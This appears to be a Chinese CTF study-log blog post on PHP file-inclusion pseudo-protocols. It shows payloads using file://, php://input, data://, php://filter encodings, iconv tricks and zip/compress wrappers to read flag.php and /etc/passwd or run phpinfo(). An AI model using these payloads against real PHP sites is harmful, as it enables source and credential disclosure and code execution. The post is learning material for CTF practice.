当前位置：首页 > news >正文

第五周日志-伪协议（3）

news 来源：原创 2025/7/19 14:54:15

常见读取源码的file，php://filter和各种编码

还有执行php的 php://input和各种编码，data

在进行文件包含之前，先定位一下 Flag 文件的位置（这里可以使用工具扫）

or直接访问 /flag.php 文件，结果返回为空（因为不是 404，证明确实存在该文件）：

尝试进行文件包含，直接包含 flag.php 的话，内容肯定会和我们直接访问一样，显示为空，所以我们需要对 flag.php 内容进行编码后再进行包含

1.file://协议

访问本地文件系统，在ctf中通常用来读取本地文件

路径+文件名

file:///etc/passwd

2.php://input:

php://input ，data://用来执行命令1.php://input 的用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>2.data://用法
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>php://filter，file://用来读取文件3.php://filter用法
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php（读取php文件需要先加密以下才能读出来，并且拿到的源码需要进行base64解码下）
http://127.0.0.1/include.php?file=php://filter/resource=/flag
4.file://用法
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

3.php://filter：存在字符过滤

php://filter php中独有的协议，可以作为一个中间流来处理其他流，可以进行任意文件的读取；

filter：这个协议可以用来过滤一些东西；

不同的参数

read参数和resource参数，

当然还可以用write参数，这时我们可以通过指定写的方式来对文件进行一些改变；

(1)String Filters（字符串过滤器）

php://filter/string.rot13/resource=flag.php //读出以后利用ROT13解码即可
php://filter/string.toupper/resource=flag.php //转大写
php://filter/string.tolower/resource=flag.php //转小写
php://filter/string.strip_tags/resource=flag.php //php标签里所有东西都会被去除，

vs html只有标签会被去除，里面的文字不会删除【闭合了】

(2)Conversion Filters（转换过滤器）

php://filter/convert.base64-encode/resource=flag.php //base64加密读出
php://filter/convert.quoted-printable-encode/resource=flag.php
convert.iconv.*:用法：

<input-encoding>和<output-encoding> 就是编码方式，有如下几种：

PHP: Supported Character Encodings - Manual

做成字典爆破：

/?filename=php://filter/convert.iconv.CP1252.UTF-32%2a/resource=flag.php

data://协议

php>=5.2.0

可以使用data://数据流封装器，以传递【相应格式】的数据

执行php代码：
data://text/plain, ???

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

zip:// & bzip:// & zlib:// 协议

可以访问压缩文件中的子文件，更重要的是不需要指定后缀名，可以修改为任意后缀名

payload：

php://filter/zlib.deflate|zlib.inflate/resource=flag.php //zlib.deflate（压缩）｜zlib.inflate（解压）
or
php://filter/bzip2.compress|bzip2.decompress/resource=flag.php //bzip2.compress（压缩）|bzip2.decompress（解压）

or
1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件文件名]

(# 的编码为 %23)

压缩 phpinfo.txt 为phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2

压缩phpinfo.txt 为phpinfo.bz2 并上传（同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz

压缩phpinfo.txt 为phpinfo.gz 并上传（支持任意后缀名）

http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

iconv函数

完成各种字符集间的转换

$string = "XXXX";

iconv("utf8","gbk",$string) //将字符串string 编码由utf8转变成gbk；

直接访问check.php这个文件里面的内容

/?filename=php://filter/convert.iconv.utf8.utf16/resource=check.php

如果使用括号里面的编码参数会直接提示do not hack！

查看flag.php

注意伪协议里面的编码使用：/?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php

第五周日志-伪协议（3）

常见读取源码的file，php://filter和各种编码还有执行php的 php://input和各种编码，data 在进行文件包含之前，先定位一下 Flag 文件的位置（这里可以使用工具扫） or直接访问 /flag.php 文件，结果返回为空&…...

编程日记 2025/7/19 14:54:15

飞牛NAS本地部署小雅Alist结合内网穿透实现跨地域远程在线访问观影

文章目录前言1. VMware安装飞牛云（fnOS）1.1 打开VMware创建虚拟机1.3 初始化系统 2. 飞牛云搭建小雅Alist3. 公网远程访问小雅Alist3.1 安装Cpolar内网穿透3.2 创建远程连接公网地址 4. 固定Alist小雅公网地址前言嘿，小伙伴们&#xff0c…...

编程日记 2025/7/17 4:13:24

十七天-Numpy 学习笔记

Numpy 学习笔记 Numpy 作为 Python 中用于进行科学计算的核心库，提供了高性能的多维数组对象，以及大量用于数组操作的工具。下面围绕 “常量”“数据类型”“时间日期和时间增量” 三个方面，梳理 Numpy 中基本的数据概念和数组创建相关知识。…...

编程日记 2025/7/19 14:43:02

浅谈WebSocket-FLV

FLV是一种视频数据封装格式，这种封装被标准通信协议HTTP-FLV和RTMP协议应用。而WebSocket-FLV是一种非标的FLV封装数据从后端发送到前端的一种方式。在WebSocket的url请求中，包含了需要请求设备的视频相关信息，在视频数据到达时&#xff0c…...

编程日记 2025/7/19 14:45:29

milvus-use教程 python

简介项目地址：milvus-use: milvus-use教程 python 需求描述参考vanna项目，获取数据库元数据和问题sql对，存入Milvus向量数据库，之后进行检索，返回相似的数据库表和问题对。本项目采用的嵌入模型为m3e-large。该该…...

编程日记 2025/7/19 14:32:15

Python列表生成式

Python 的列表生成式（List Comprehension） 是一种简洁高效的创建列表的方式，可以用一行代码替代多行循环逻辑。传统的循环的写法 # 循环遍历列表中的每个元素，并将其平方后添加到新的列表中 original [0, 1, 2, 3, 4] squares…...

编程日记 2025/7/19 12:38:39

MATLAB绘图配色包说明

本栏目将分享MATLAB数据分析图表，该贴讲述配色包的使用将配色包colormap_nclCM文件夹添加到路径close all（尽量不要删），使用map colormap(nclCM(309))时会多出来一张空白图片。配色资源来自slandarer；找不到合适颜色…...

编程日记 2025/7/10 12:18:20

Cursor异常问题全解析-无限使用

title: Cursor异常问题全解析无限使用 tags: cursor categories:aiai编程 mathjax: true description: Cursor异常问题全解析与解决方案大全 abbrlink: 64908bd0 date: 2025-03-19 14:48:32 🤖 Assistant 🚨 Cursor异常问题全解析与解决方案大全 &…...

编程日记 2025/7/19 14:43:52

Ubuntu系统保姆级Paperless-ngx部署指南：零基础实现文档云端化管理

文章目录前言1.关于Paperless-ngx2.Docker部署3.简单使用paperless4.安装cpolar内网穿透5. 配置公网地址6. 配置固定公网地址总结前言在当今快节奏的办公环境中，文档管理成为了一个不可忽视的问题。想象一下这样的场景：你需要一份重要的合同&#xf…...

编程日记 2025/7/17 15:08:00

资本运营：基于Python实现的资本运作模拟

基于Python实现的一个简单的资本运营框架； 企业生命周期演示：观察初创→成长→上市→并购全流程行业对比分析：不同行业的财务特征和估值差异资本运作策略：体验IPO定价、投资决策、并购整合等操作市场动态观察&#xff…...

编程日记 2025/7/14 5:55:39

每日总结3.27

蓝桥刷题 1. 团建 （树dfs） #include <bits/stdc.h> using namespace std; const int N200005; int a[N],b[N]; int ans; map<int,vector<int>>m1,m2; void dfs(int x,int y,int count) { if(a[x]!b[y]) {return;} ansmax(ans,c…...

编程日记 2025/7/16 8:43:35

3-2RYU控制器应用程序开发（一）

图1 SDN框架通过利用Ryu框架的丰富功能以及RYU应用程序开发中的事件驱动（装饰器）的编程模型，我们能够开发符合需求的SDN控制器应用程序。通过开发的RYU控制器可以实现各种网络策略控制和管理功能。在SDN软件定义网络编程中，RYU应…...

编程日记 2025/7/15 15:22:36

算法250327题目

1114: 4006 AB问题题目描述给定两个整数A和B，其表示形式是：从个位开始，每三位数用逗号,隔开。现在请计算AB的结果，并以正常形式输出。输入输入包含多组数据，每组数据占一行，由两个整数A和B组成&am…...

编程日记 2025/7/18 6:38:02

数据结构：汉诺塔问题的递归求解和分析

递归方法求解该类问题，是一种简单的思维方法，通常比使用迭代方法更简单。但是，递归方法也有劣势。此处以典型的汉诺塔问题（Tower of Hanoi）为例给予说明。汉诺塔是根据一个传说形成的数学问题，最早是由法国…...

编程日记 2025/7/13 19:43:39

编辑器检视器面板简单扩展2+编辑器检视器面板深度扩展1

枚举检视器面板显示代码： public enum Profession {Warrior0,Wizard } public Profession Pro; //在类中声明小齿轮增加回调函数点击控制台输出： 代码： [ContextMenu("输出攻防比")]public void PrintADProportion(){Debug…...

编程日记 2025/7/16 22:42:19

二分查找模板--从题目中讲解三大二分模板

二分查找的特点：最恶心、细节最多、最容易写出死循环的算法目录 1.朴素的二分模板 1.1题目链接：704.二分查找 1.2题目描述： 1.3算法流程： 1.4算法代码： 1.5朴素二分模板： 2.查找左,右边界的二分模板…...

编程日记 2025/7/16 22:22:19

EF Core 执行原生SQL语句

文章目录前言一、执行查询（返回数据）1） 使用 FromSqlRaw或 FromSqlInterpolated 方法，适用于 DbSet<T>，返回实体集合。2）结合 LINQ 查询3）执行任意原生SQL查询语句（使用ADO.N…...

编程日记 2025/7/2 0:31:07

HiveChat：提升团队协作效率的AI聊天应用

什么是 HiveChat ？ HiveChat 作为一款专为中小团队设计的 AI 聊天应用，支持 Deepseek、Open AI、Claude、Gemini 等模型。管理员一人配置，全团队轻松使用各种 AI 模型。凭借其强大的功能和便捷的操作，有望成为团队沟通协作的得力助…...

编程日记 2025/7/16 18:31:36

python中的继承

目录一、继承单继承多继承方法的重写一、继承在Python中，继承是面向对象编程中的重要概念，它允许一个类（子类）继承另一个类（父类）的属性和方法。子类可以继承父类的属性和方法，并且可…...

编程日记 2025/7/19 13:09:40

Vulnhub靶场FALL靶机通关攻略

1.打开靶机和kali 2.扫描靶机ip 靶机ip为192.168159.158 3.访问下网站翻阅一下可能存在后门网站根目录下可能有线索 4.爆破目录 ir -u http://192.168.159.158 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.bak,.txt,.sh,.ht…...

编程日记 2025/7/17 1:17:47

Java基础概念汇总

JavaEE Java基础概念面试题详解1. Java的特点是什么？2. Java和C的区别有哪些？3. 什么是JDK、JRE和JVM？它们之间有什么关系？4. Java是编译型语言还是解释型语言？5. Java如何实现跨平台？ 数据类型与变量面试题…...

编程日记 2025/7/14 1:47:19

【服务端】使用conda虚拟环境部署Django项目

写在开头为了与客户端的Deep search配合，需要整一个后台管理来保存和管理deep search的数据资料。选择前端框架Vue-Vben-Admin Django后台服务来实现这个项目。废话结束，从零开始。。。。一、环境搭建 1. 安装 Anaconda 下载 Anaconda&#xff1…...

编程日记 2025/7/16 1:44:58

基于Pycatia的智能孔特征识别技术：无参模型圆心自动化提取方案

引言本文介绍了一种基于Pycatia二次开发的无参数模型孔特征识别技术，通过拓扑分析与几何特征检测双验证机制，实现圆形孔边线的精准识别及圆心坐标自动化生成。该方案可有效解决逆向工程、质量检测等场景下非参数化模型的孔位分析难题，提升三…...

编程日记 2025/7/12 11:19:40

cpu 比较低，load 比较高怎么解决

当系统出现 CPU 使用率低但 Load Average（系统负载）高的情况时，通常意味着系统资源瓶颈不在 CPU，而可能出现在其他环节（如 I/O 等待、锁竞争、大量进程排队等）。以下是排查和解决问题的详细步骤：一、理解 Load Average 的含义 Linux 系统的 Load Average 表示单位时…...

编程日记 2025/7/15 18:21:53

qt QQuaternion详解

1. 概述 QQuaternion 是 Qt 中用于表示三维空间中旋转的四元数类。它包含一个标量部分和一个三维向量部分，可以用来表示旋转操作。四元数在计算机图形学中广泛用于平滑的旋转和插值。 2. 重要方法默认构造函数 QQuaternion::QQuaternion(); // 构造单位四元数 (1…...

编程日记 2025/7/14 11:34:06

伊利工业旅游4.0，近距离感受高品质的魅力

3月24日，在2025年第112届全国糖酒会（简称春糖）前夕，伊利集团“可感知高品质探寻荟”活动在成都召开，记者走进伊利在西南地区最大的乳制品生产基地—邛崃工厂，零距离见证液态奶、酸奶、冷饮等乳制品的诞生&a…...

编程日记 2025/7/16 1:48:58

前端面经分享（25/03/26）

北京一家做AI解决方案的公司，技术一面，15k-20k，要求3-5年你们React项目里路由模式用的什么React里class组件和function组件都用过吗常用Hook，解释一下他们的作用useEffect第二个参数填空数组和不填有什么区别React组件通信的常用…...

编程日记 2025/7/16 1:51:34

unity实现图片查看器有限制的移动缩放功能

需求 unity实现键盘wasd键控制图片的移动，图片长度未超出屏幕不能移动，宽度未超出屏幕不能移动。jk键控制图片的缩放，缩放有限制 using UnityEngine;public class ImageController : MonoBehaviour {[Header("移动设置")]public f…...

编程日记 2025/7/17 1:48:13

STM32基础教程——输入捕获模式测量PWM频率

目录前言技术实现原理图连线图代码实现内容要点 PWM基本结构开启外设时钟配置GPIO端口配置时基单元初始化输出比较单元输出比较通道重映射输入捕获功能初始化计算捕获PWM的频率实验结果问题记录前言 IC（Input Capture）输…...

编程日记 2025/7/17 18:55:51

【redis】集群如何搭建集群详解

文章目录集群搭建1. 创建目录和配置2. 编写 docker-compose.yml完整配置文件 3. 启动容器4. 构建集群超时集群搭建基于 docker 在我们云服务器上搭建出一个 redis 集群出来当前节点，主要是因为我们只有一个云服务器，搞分布式系统，就比较…...

编程日记 2025/7/16 1:48:58

Linux应用：线程基础

线程介绍进程是程序在操作系统里的一次执行过程，是系统进行资源分配和调度的基本单位；而线程是进程中的一个执行单元，是 CPU 调度和分派的基本单位。一个进程可以包含多个线程，这些线程共享进程的资源，如内存空间、文…...

编程日记 2025/7/13 22:23:58

力扣HOT100之普通数组：238. 除自身以外数组的乘积

这道题不能使用除法，我第一时间想到用前缀表和后缀表来解决，假设数组nums的长度为n，我们直接定义前缀表pre和后缀表suf，其中pre[i] pre[i - 1] * nums[i - 1] nums[0] * nums[1] * ... * nums[i - 1] ，而suf[j] suf…...

编程日记 2025/7/17 4:07:42

PHP回调后门小总结

目录 1.call_user_func 函数说明蚁剑连接 2.数组操作造成的单参数回调后门 array_filter 函数说明蚁剑连接 array_map 函数说明蚁剑连接 3.二参数回调函数 uasort 函数说明 uksort array_reduce array_udiff 蚁剑连接 4.三参数的回调后门 array_walk 函数说…...

编程日记 2025/7/16 4:55:03

《深度剖析SQL数据类型转换：隐式与显式的奥秘》

在SQL的世界里，数据类型转换是一个基础且关键的操作，它贯穿于数据库开发、管理与数据分析的各个环节。数据类型转换分为隐式转换和显式转换，二者各有特点与应用场景，深刻理解它们对于编写高效、稳定的SQL代码至关重要。一、数据…...

编程日记 2025/7/19 1:18:26

通过TIM+DMA Burst 实现STM32输出变频且不同脉冲数量的PWM波形

Burst介绍： DMA控制器可以生成单次传输或增量突发传输，传输的节拍数为4、8或16。为了确保数据一致性，构成突发传输的每组传输都是不可分割的：AHB传输被锁定，AHB总线矩阵的仲裁器在突发传输序列期间不会撤销DMA主设备…...

编程日记 2025/7/16 17:12:05

多线程 --- 多线程编程

在写代码的时候，可以使用多进程进行并发编程（在Java中，不太推荐，很多很多关于进程相关的API，在Java标准库中，都没有提供），也可以使用多线程进行并发编程（系统提供了多线程…...

编程日记 2025/7/13 1:11:54

利用新一代雷达传感器增强ADAS系统的检测和计算（TI文档）

摘要德州仪器 (TI) 的新一代雷达传感器AWR2E44P和AWR2944P推动了TI的ADAS雷达产品系列发展，专注于提高性能以满足严格的 NCAP（新车评估计划）和 FMVSS（联邦机动车辆安全标准）自动驾驶和安全法规。这些雷达器件为 AWR…...

编程日记 2025/7/15 22:35:54

前端工程化开篇

前端发展史梳理： 最早的html，css，js是前端三剑客，足以实现所有的前端开发任务，但是呢，一个简单的前端交互效果可能就需要一大堆的代码去实现。后来呢，有了前端库jQuery，他可以使前…...

编程日记 2025/7/18 7:38:42

Android 问真八字-v2.1.7[看八字APP]

Android 问真八字链接：https://pan.xunlei.com/s/VOMMuCVQRQrM2vRsHj14SsO0A1?pwdavzw# Android 问真八字-v2.1.7[看八字APP]...

编程日记 2025/6/28 4:52:27

go - grpc入门

前期准备工具安装及使用 grpc开发编写proto文件 proto文件是符合Protocol Buffers语言规范的数据交换协议文件，就像以前WebService定义服务时使用的XML文件。现在一般都是用proto3了，这里创建一个名为 hello.proto 的文件，放到项目的pr…...

编程日记 2025/7/9 19:14:28

Linux操作系统配置本地yum源和定时任务

操作系统环境：CentOS 7.2 本地yum源配置 1.挂载镜像 mount /dev/cdrom /mnt/cdrom 2.备份原yum配置 mv /etc/yum.repos.d /etc/yum.repos.d.bak 3.创建本地yum源配置文件 mkdir /etc/yum.repos.d vi /etc/yum.repos.d/CentOS-local.repo 添加内容： #本…...

编程日记 2025/7/17 16:50:39

【活动回顾】StarRocks Singapore Meetup #2 @Shopee

3 月 13 日，StarRocks 社区在新加坡成功举办了第二场 Meetup 活动，主题为“Empowering Customer-Facing Analytics”。本次活动在 Shopee 新加坡办公室举行，吸引了来自 Shopee、Grab 和 Pinterest 的专家讲师以及 50 多位参会者。大家围绕电商…...

编程日记 2025/7/17 16:49:40

优选算法——双指针专题

本章先分享关于优选算法的双指针的思路： 主要是以题目来展示常见使用双指针的思路。 ps: 双指针做法：不要被表面所迷惑，它其实是通过用一个数组的下标来充当指针数组分两块：是⾮常常⻅的⼀种题型，主要就是根据⼀种…...

编程日记 2025/7/15 4:39:40

深度解析：TOML、XML、YAML及其他配置/数据格式对比

深度解析：TOML、XML、YAML及其他配置/数据格式对比在软件开发和系统配置中，选择合适的配置或数据格式至关重要。本文将对比 TOML、XML、YAML 等常见格式，梳理它们的核心特性、适用场景及区别，并扩展介绍其他类似格式&#xff0c…...

编程日记 2025/7/13 20:27:32

冗余技术：堆叠技术+链路聚合

目录前言一.堆叠技术概述二.堆叠技术原理三.堆叠系统登录四.堆叠合并/分裂 4.1 堆叠双主检测机制（MAD） 五.链路聚合技术概述六.链路聚合模式前言在硬件加速与数据爆炸时代，堆叠技术通过模块化分层设计，实现资源动…...

编程日记 2025/7/15 20:21:30

存储服务器是指什么

今天小编主要来为大家介绍存储服务器主要是指什么，存储服务器与传统的物理服务器和云服务器是不同的，其是为了特定的目标所设计的，在硬件配置方式上也有着一定的区别，存储空间会根据需求的不同而改变。存储服务器中一般会配备大容…...

编程日记 2025/7/16 10:42:52

文件上传绕过的小点总结(8)

16.apache解析漏洞条件竞争 class MyUpload{.................. var $cls_arr_ext_accepted array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",&q…...

编程日记 2025/7/16 1:43:46

设计模式-结构型模式-外观模式

概述外观模式 : Facade Pattern : 是一种结构型设计模式. 它为复杂子系统提供一个简化的统一接口，使得客户端无需直接与子系统的各个组件交互，从而降低系统的耦合性。核心思想统一接口：将多个子系统的复杂操作封装到一个“外观类”中&…...

编程日记 2025/7/14 14:39:56

DeepSeek 本地部署指南

文章目录 DeepSeek 本地部署指南一、前言二、部署前的准备工作2.1 硬件要求2.2 软件环境三、模型下载四、本地部署步骤4.1 检查硬件加速支持4.2 部署模型4.3 优化部署五、常见问题及解决方法5.1 内存不足5.2 模型下载失败5.3 GPU 无法使用六、总结 DeepSeek 本地部署指南一…...

编程日记 2025/7/17 17:52:40

Windows Server 2025 使用 IIS 搭建 ASP.NET 3.5 网站

开启远程桌面参考文章Windows server开启远程桌面教程打开服务管理器。ECS 配置安全组，开启 3389Telnet 验证网络联通性 telnet x.x.x.x 338安装 Windows App，登录验证安装 ASP.NET 3.5 1.参考文章Windows Server 2012安装 .NET Framework 3.5和 Wi…...

编程日记 2025/7/17 7:13:06

1.file://协议

2.php://input:

3.php://filter：存在字符过滤

data://协议

zip:// & bzip:// & zlib:// 协议

相关文章：